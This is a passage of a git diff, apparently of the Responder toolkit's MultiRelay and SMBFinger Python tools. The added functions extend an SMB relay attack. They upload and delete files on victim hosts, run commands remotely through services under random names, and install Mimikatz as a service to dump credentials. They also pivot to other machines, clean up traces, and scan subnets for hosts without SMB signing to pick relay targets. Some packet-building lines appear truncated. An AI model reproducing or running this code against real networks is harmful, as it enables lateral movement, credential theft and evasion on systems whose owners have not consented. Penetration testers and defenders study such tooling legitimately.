GetAfFile(data, s, File, Host): print "[+] Get file failed. Remote filename was typed correctly?" return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. +##########UploadAFile############# +def WriteFile(data, s, File, FileSize, FileContent, Host): + try: + File = File.replace("/","\\") + data,s,f = SMBOpenFileForWriting(File, FileSize, FileContent, "C", Host, RW, data, s) + data,s = UploadAndWrite(f, FileSize, FileContent, data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. + + except: + print "[+] Write failed." + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + +##########DeleteAFile############ +def DeleteFile(data, s, File, Host): + try: + File = File.replace("/","\\") + data,s = DeleteAFile(File, data, s, Host) + data,s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. + except: + print "[+] Delete operation failed.\n[+] Something went wrong." + data,s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. + ##########Psexec############# -def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host): +def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, RunPath, FileName): try: - data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = CreateService(Command, f, Host[0], data, s) - data,s = CloseFID(f, data,s) - data,s,f = SMBOpenFile("\\Windows\\Temp\\Results.txt", "C", Host[0], RW, data, s) - data,s,Output = ReadAndDelete(f, "\\Windows\\Temp\\Results.txt", data, s) + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = RunPath+" \""+Command+"\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + time.sleep(1) + data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) print Output + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + + return data + + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +##########Runas############# +def RunAsCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): + + try: + Command = Command.replace('"', '\'') + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = "%windir%\\Temp\\"+FileName+" \""+Command+"\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + time.sleep(1) + data,s,f = SMBOpenFile( LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) + print Output + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + return data + + except: + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +##########MimiKatz RPC############# +def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): + global MimiKatzSVCID + global MimiKatzSVCName + try: + RandomFName = GenerateRandomFileName() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + #Install mimikatz as a service. + Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\wtf /noreg\" service::me exit" + MimiKatzSVCName = GenerateServiceName() + MimiKatzSVCID = GenerateServiceID() + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateMimikatzService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s) + data,s = CloseFID(f, data,s) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + + return data + + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): + try: + InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName) + data,s = SMBOpenPipe(Host, data, s) + ##Wait for the pipe to come up.. + time.sleep(1) + data,s,f = BindCall("\xe9\x11\xfc\x17\x58\xc2\x8d\x4b\x8d\x07\x2f\x41\x25\x15\x62\x44", "\x01\x00", "\\wtf", data, s) + data,s,f = MimiKatzRPC(Command, f, Host, data, s) + data,s = SMBDCERPCCloseFID(f, data,s) + ##### + #Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target. + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = StopAndDeleteService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s) + data,s = CloseFID(f, data,s) + #Short sleep, to make sure the service had the time needed to stop before deleting mimikatz + time.sleep(0.5) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + + return ModifySMBRetCode(data) + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong while calling mimikatz. Did you run install mimi before launching this command?" + return ModifySMBRetCode(data) + +##########Pivot############# +def PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Host, RunAsPath, RunAsFileName): + + try: + LocalIp = FindLocalIp() + WinTmpPath = "%windir%\\Temp\\log.txt" + Command = RunAsPath+" \"net view \\\\"+LocalIp+"\" \""+WinTmpPath+"\"" + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + + ## We're leaving this host, clean it up.. + time.sleep(1.5) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host) Logs.info('Command executed:') Logs.info(clientIP+","+Username+','+Command) return data @@ -1243,4 +2002,48 @@ def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host): print "[+] Something went wrong, try something else." return ModifySMBRetCode(data) +##########VerifyPivot############# +def VerifyPivot(data, s, clientIP, Username, Domain, Pivot, Logs, Host, RunAsPath, RunAsFileName): + + try: + RandomFName = GenerateRandomFileName() + ServiceNameChars = GenerateServiceName() + ServiceIDChars = GenerateServiceID() + WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" + LogFile = "\\Windows\\Temp\\"+RandomFName+".txt" + Command = RunAsPath+" \"dir \\\\"+Pivot+"\\C$\" \""+WinTmpPath+"\"" + + data,s = SMBOpenPipe(Host, data, s) + data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) + data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s) + data,s = CloseFID(f, data,s) + data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s) + data,s,Output = ReadAndDelete(f, LogFile, data, s) + data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host) + + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + + if re.findall('Volume in drive', Output): + return True, data + else: + return False, data + + except: + #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. + print "[+] Something went wrong, try something else." + return ModifySMBRetCode(data) + +##########DoSomethingDumb############# +def DumbSMBChain(data, s, Host): + try: + File = "/Windows/win.ini" + File = File.replace("/","\\") + data,s,f = SMBOpenFile(File, "C", Host, READ, data, s) + data,s,Output = GrabAndRead(f, File, data, s) + data, s = CloseTID(data, s) + return ModifySMBRetCode(data) ##Command was successful, ret true. + + except: + return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong. diff --git a/tools/MultiRelay/RelayMultiPackets.py b/tools/MultiRelay/RelayMultiPackets.py index cedcaaf..bba63a3 100644 --- a/tools/MultiRelay/RelayMultiPackets.py +++ b/tools/MultiRelay/RelayMultiPackets.py @@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet): BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) self.fields["Bcc"] = struct.pack(""+WinTmpPath+"&exit'" - BinDataLen = str(self.fields["BinCMD"]) + #Padding + if len(str(self.fields["BinCMD"]))%2==0: + self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00" + else: + self.fields["LoadOrderGroup"] = "\x00\x00" + ## Calculate first self.fields["BinPathMaxCount"] = struct.pack(" 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion + if length <= 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion except: return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" - def GetHostnameAndDomainName(data): try: DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) Time = GetBootTime(data[60:68]) + #If max length domain name, there won't be a \x00\x00\x00 delineator to split on + if Hostname == '': + DomainJoined = data[81:110].replace('\x00','') + Hostname = data[113:].replace('\x00','') return Hostname, DomainJoined, Time except: return "Could not get Hostname.", "Could not get Domain joined" diff --git a/tools/SMBFinger/Finger.py b/tools/SMBFinger/Finger.py index f0921b1..682b0c1 100755 --- a/tools/SMBFinger/Finger.py +++ b/tools/SMBFinger/Finger.py @@ -15,11 +15,15 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import re,sys,socket,struct +import multiprocessing from socket import * +from time import sleep from odict import OrderedDict -__version__ = "0.3" -Timeout = 0.5 +__version__ = "0.7" + +Timeout = 2 + class Packet(): fields = OrderedDict([ ]) @@ -139,15 +143,22 @@ def dtoa(d): def OsNameClientVersion(data): try: length = struct.unpack(' 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion + if length <= 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion except: return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" def GetHostnameAndDomainName(data): try: DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) + #If max length domain name, there won't be a \x00\x00\x00 delineator to split on + if Hostname == '': + DomainJoined = data[81:110].replace('\x00','') + Hostname = data[113:].replace('\x00','') return Hostname, DomainJoined except: return "Could not get Hostname.", "Could not get Domain joined" @@ -205,6 +216,27 @@ def SmbFinger(Host): return signing, OsVersion, ClientVersion except: pass + +def SmbFingerSigning(Host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect((Host, 445)) + except: + return False + try: + h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") + n = SMBNego(Data = SMBNegoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + data = s.recv(2048) + signing = IsSigningEnabled(data) + return signing + except: + pass + ################## #run it def ShowResults(Host): @@ -244,6 +276,43 @@ def ShowSmallResults(Host): pass +def ShowScanSmallResults(Host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect(Host) + except: + return False + + try: + Hostname, DomainJoined = DomainGrab(Host) + Signing, OsVer, LanManClient = SmbFinger(Host) + Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing) + print Message + except: + pass + + +def ShowSigning(Host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect((Host, 445)) + except: + print "[Pivot Verification Failed]: Target host is down" + return True + + try: + Signing = SmbFingerSigning(Host) + if Signing == True: + print "[Pivot Verification Failed]:Signing is enabled. Choose another host." + return True + else: + return False + except: + pass + + def RunFinger(Host): m = re.search("/", str(Host)) if m : @@ -255,3 +324,23 @@ def RunFinger(Host): else: ShowResults((Host,445)) + +def RunPivotScan(Host, CurrentIP): + m = re.search("/", str(Host)) + if m : + net,_,mask = Host.partition('/') + mask = int(mask) + net = atod(net) + threads = [] + for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): + if CurrentIP == host: + pass + else: + p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),)) + threads.append(p) + p.start() + sleep(1) + else: + ShowScanSmallResults((Host,445)) + +